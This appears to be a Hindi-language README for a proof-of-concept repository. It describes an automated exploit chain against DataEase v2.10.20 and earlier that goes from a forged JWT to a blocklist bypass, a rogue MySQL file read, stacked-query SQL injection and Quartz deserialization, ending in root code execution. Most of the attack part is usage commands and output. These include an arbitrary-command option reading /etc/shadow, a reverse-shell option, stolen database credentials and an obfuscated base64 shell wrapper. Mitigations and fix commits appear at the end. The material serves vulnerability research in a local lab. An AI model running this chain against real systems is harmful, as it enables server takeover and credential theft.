
DataEase के लिए स्वचालित एक्सप्लॉइट: 4-भेद्यता श्रृंखला (auth बाईपास, JDBC ब्लॉकलिस्ट बाईपास, SQL इंजेक्शन, Java डिसीरियलाइज़ेशन) जो बिना प्रमाणीकरण के RCE प्राप्त करती है। इसमें Docker लैब और Python PoC शामिल है।
प्रमाणीकरण बाईपास → JDBC ब्लॉकलिस्ट बाईपास (मनमाना फ़ाइल पठन) → SQL इंजेक्शन → Quartz में Java डिसीरियलाइज़ेशन →
rootके रूप में रिमोट कोड निष्पादन।स्व-निहित स्थानीय लैब (Docker) + कार्यशील PoC। DataEase v2.10.21 में ठीक किया गया।
DataEase एक लोकप्रिय ओपन-सोर्स BI / डेटा-विज़ुअलाइज़ेशन प्लेटफ़ॉर्म है (Java / Spring Boot)। संस्करण ≤ v2.10.20 चार समस्याओं की एक श्रृंखला के प्रति संवेदनशील हैं जो मिलकर एक नेटवर्क-सुलभ DataEase को रिमोट कोड निष्पादन में बदल देती हैं:
| # | CVE | वर्ग | हमें क्या देता है |
|---|
| 1 | CVE-2026-23958 | प्रमाणीकरण बाईपास (CWE-287/CWE-347) | admin के रूप में कार्य करें — कोई मान्य हस्ताक्षर आवश्यक नहीं |
| 2 | CVE-2026-40899 | JDBC ब्लॉकलिस्ट बाईपास (CWE-20) | मनमाना फ़ाइल पठन → बैकएंड DB क्रेडेंशियल चुराना |
| 3 | CVE-2026-40900 | SQL इंजेक्शन / स्टैक्ड क्वेरी (CWE-89) | DataEase के अपने डेटाबेस में लिखना |
| 4 | CVE-2026-40901 | Java डिसीरियलाइज़ेशन (CWE-502) | Quartz जॉब स्टोर के माध्यम से root के रूप में RCE |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
सब कुछ स्थानीय रूप से Docker में चलता है। कोई बाहरी सेवाएँ नहीं, कोई इंटरनेट लक्ष्य नहीं।
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (API उपसर्ग /de2api)admin / DataEase@123456होस्ट पर आवश्यकताएँ: Docker, cryptography के साथ Python 3.8+ (pip install -r exploit/requirements.txt), और Docker CLI (गैजेट बनाने के लिए एक डिस्पोज़ेबल eclipse-temurin:8-jre कंटेनर में ysoserial चलाने हेतु प्रयुक्त)।
DataEase अनुरोधों को एक सर्वलेट फ़िल्टर, TokenFilter (sdk/common/.../auth/filter/TokenFilter.java) में प्रमाणित करता है। यह टोकन पढ़ता है और TokenUtils.validate() को कॉल करता है, जो यहाँ समाप्त होता है:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() हस्ताक्षर की कभी जाँच नहीं करता। एकमात्र जाँच ये हैं: टोकन ≥ 100 वर्णों का है और इसमें एक पूर्णांक uid दावा है। इसलिए कोई भी JWT जो "uid": 1 कहता है, अनुरोध को अंतर्निहित प्रशासक (uid 1) के रूप में चलाता है।
एक दूसरा फ़िल्टर (CommunityTokenFilter) भी है जो X-DE-TOKEN हेडर के लिए हस्ताक्षर की जाँच करता है — लेकिन केवल विशिष्ट शर्तों के अंतर्गत, और हस्ताक्षर कुंजी या तो प्रति-उपयोगकर्ता गोपनीय होती है या, एक सादे कम्युनिटी बिल्ड में, हार्डकोडेड डिफ़ॉल्ट पासवर्ड DataEase@123456 का MD5 (SubstituleLoginConfig → dataease.default-pwd) होती है। साथी शेयर-लिंक पथ (X-DE-LINK-TOKEN) हार्डकोडेड कुंजी link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) से हस्ताक्षरित होता है और, फिक्स से पहले, वैसे ही बिना सत्यापन के डिकोड किया जाता था।
शुद्ध प्रभाव: एक हमलावर प्रशासक टोकन गढ़ सकता है। de_common.py में forge_jwt() शामिल है जो बिना हस्ताक्षर वाला टोकन बनाता है; PoC सर्वव्यापी डिफ़ॉल्ट क्रेडेंशियल से सीधे लॉगिन करके शेष श्रृंखला के लिए पूरी तरह से मान्य X-DE-TOKEN प्राप्त करने का भी समर्थन करता है।
फिक्स (कमिट 00c169caa) TokenFilter को वास्तविक प्रति-संसाधन गोपनीय देखने और वास्तव में verifier.verify(...) को कॉल करने के लिए बाध्य करता है।
जब आप MySQL डेटासोर्स जोड़ते हैं, DataEase खतरनाक JDBC पैरामीटरों के एक सेट को अस्वीकार कर देता है। वह ब्लॉकलिस्ट एक Lombok @Data फ़ील्ड में रहती है:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
चूँकि @Data स्वतः setIllegalParameters(...) उत्पन्न करता है, Jackson इसे हमलावर-नियंत्रित JSON से सहजता से भर देगा। (Base64-एन्कोडेड) configuration ब्लॉब में "illegalParameters": [] भेजने से जाँच से पहले ब्लॉकलिस्ट खाली हो जाती है। फिर हम डेटासोर्स को allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ के साथ एक रॉग MySQL सर्वर की ओर इंगित कर सकते हैं और MySQL LOCAL INFILE तंत्र के माध्यम से DataEase होस्ट से मनमानी फ़ाइलें पढ़ सकते हैं।
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
परिणाम — DataEase हमें अपने स्वयं के बैकएंड DB क्रेडेंशियल देता है:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
वे क्रेडेंशियल वही हैं जिनका उपयोग हमलावर चरण 3 को DataEase के अपने डेटाबेस पर लक्षित करने के लिए करता है। फिक्स (कमिट 16a950f96) हर illegalParameters फ़ील्ड में @JsonIgnore जोड़ता है ताकि इसे अब JSON से सेट नहीं किया जा सके।
previewSql में SQL इंजेक्शन (स्टैक्ड क्वेरी)POST /de2api/datasetData/previewSql एक Base64-एन्कोडेड SQL स्ट्रिंग लेता है और, बिना किसी एकल-स्टेटमेंट सत्यापन के, इसे सबक्वेरी के रूप में लपेटता है:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
कमेंट हटा दिए जाते हैं, लेकिन हम कोष्ठकों को संतुलित कर सकते हैं और अतिरिक्त स्टेटमेंट चलाने के लिए ; का उपयोग कर सकते हैं। चूँकि हम डेटासोर्स को नियंत्रित करते हैं, हम allowMultiQueries=true सक्षम करते हैं (v2.10.20 में ब्लॉकलिस्ट पर नहीं), इसलिए स्टैक्ड क्वेरी निष्पादित होती हैं:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
जिन्हें सर्वर तीन वास्तविक स्टेटमेंट में जोड़ता है। इस डेटासोर्स को DataEase के अपने डेटाबेस (चरण 2 से क्रेडेंशियल) पर लक्षित करने से हम उसकी Quartz तालिकाओं में लिख सकते हैं। फिक्स: 15611593b ब्लॉकलिस्ट में allowMultiQueries जोड़ता है और e89059d88 सेव/इंजन प्रवाह को मजबूत करता है।
DataEase एक आवर्ती "डेटासोर्स स्थिति जाँच" Quartz जॉब शेड्यूल करता है:
deSyncJob, जॉब Datasource / check_status, क्लास io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? * (डिफ़ॉल्ट: हर 6 मिनट में)Quartz useProperties=false के साथ एक JDBC जॉब स्टोर का उपयोग करता है, इसलिए प्रत्येक जॉब का JobDataMap QRTZ_JOB_DETAILS.JOB_DATA कॉलम में कच्चे Java-सीरियलाइज़्ड ऑब्जेक्ट के रूप में संग्रहीत होता है (आप इसे देख सकते हैं: ब्लॉब सीरियलाइज़ेशन मैजिक AC ED 00 05 … org.quartz.JobDataMap से शुरू होता है)। जब शेड्यूलर ट्रिगर के लिए स्कैन करता है तो वह StdJDBCDelegate.selectJobDetail में यह करता है:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()
DataEase commons-collections-3.2.1.jar (और velocity-1.7.jar) बंडल करता है — क्लासिक डिसीरियलाइज़ेशन गैजेट स्रोत। चरण 3 का उपयोग करके हम JOB_DATA को एक ysoserial CommonsCollections6 पेलोड के साथ अधिलेखित करते हैं (और, उसी स्टैक्ड क्वेरी में, ट्रिगर के NEXT_FIRE_TIME को अभी खींच लेते हैं ताकि हमें 6-मिनट के cron का इंतज़ार न करना पड़े)। अगले शेड्यूलर स्कैन पर, readObject() गैजेट श्रृंखला (LazyMap → InvokerTransformer → Runtime.exec) को सक्रिय करता है और हमारा कमांड चलता है — कंटेनर के अंदर, root के रूप में। फिक्स सेट (e05bda764, …) संवेदनशील Velocity निर्भरता और सिंक की पहुँच को हटा देता है।
PoC आपके लिए गैजेट उत्पन्न करता है (busybox-अनुकूल कमांड रैपिंग — लक्ष्य शेल Alpine ash है और Runtime.exec को कोई शेल नहीं मिलता, इसलिए हम sh -c echo${IFS}<b64>|base64${IFS}-d|sh का उपयोग करते हैं)।
pip install -r exploit/requirements.txt
# full chain (default: writes an id/uname proof file inside the container)
python3 exploit/de_rce_chain.py
# arbitrary command
python3 exploit/de_rce_chain.py --cmd 'cat /etc/shadow'
# reverse shell (start `nc -lvnp 4444` first)
python3 exploit/de_rce_chain.py --revshell host.docker.internal 4444
# verify code execution
docker exec dataease cat /tmp/pwned_CVE_2026_40901
रनों के बीच विषाक्त Quartz जॉब को रीसेट करें (वैकल्पिक):
exploit/reset_quartz.sh
| पथ | उद्देश्य |
|---|---|
exploit/de_common.py | HTTP क्लाइंट: /dekey RSA रिकवरी, लॉगिन, JWT फोर्जरी, डेटासोर्स + previewSql |
exploit/de_rce_chain.py | एंड-टू-एंड auth → SQLi → Quartz डिसीरियलाइज़ेशन RCE |
exploit/rogue_mysql.py | CVE-2026-40899 के लिए न्यूनतम रॉग MySQL सर्वर (LOCAL INFILE फ़ाइल पठन) |
exploit/file_read.py | रॉग सर्वर के विरुद्ध CVE-2026-40899 को चलाता है |
exploit/reset_quartz.sh | रन के बाद एक साफ Quartz जॉब पुनर्स्थापित करता है |
admin पासवर्ड (DataEase@123456) तुरंत बदलें।useProperties=true के साथ चलाएं, JVM डिसीरियलाइज़ेशन फ़िल्टर (-Djdk.serialFilter=…) लागू करें, और क्लासपाथ से commons-collections:3.2.1 / velocity:1.7 हटा दें।केवल शिक्षा और अधिकृत परीक्षण के लिए। लैब एक ऐसे कंटेनर को लक्षित करता है जिसे आप स्वयं चलाते हैं। इनमें से किसी को भी उन सिस्टमों पर न लगाएं जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास नहीं है।
00c169caa, 16a950f96, 15611593b, e89059d88, e05bda764 (DataEase v2.10.20..v2.10.21)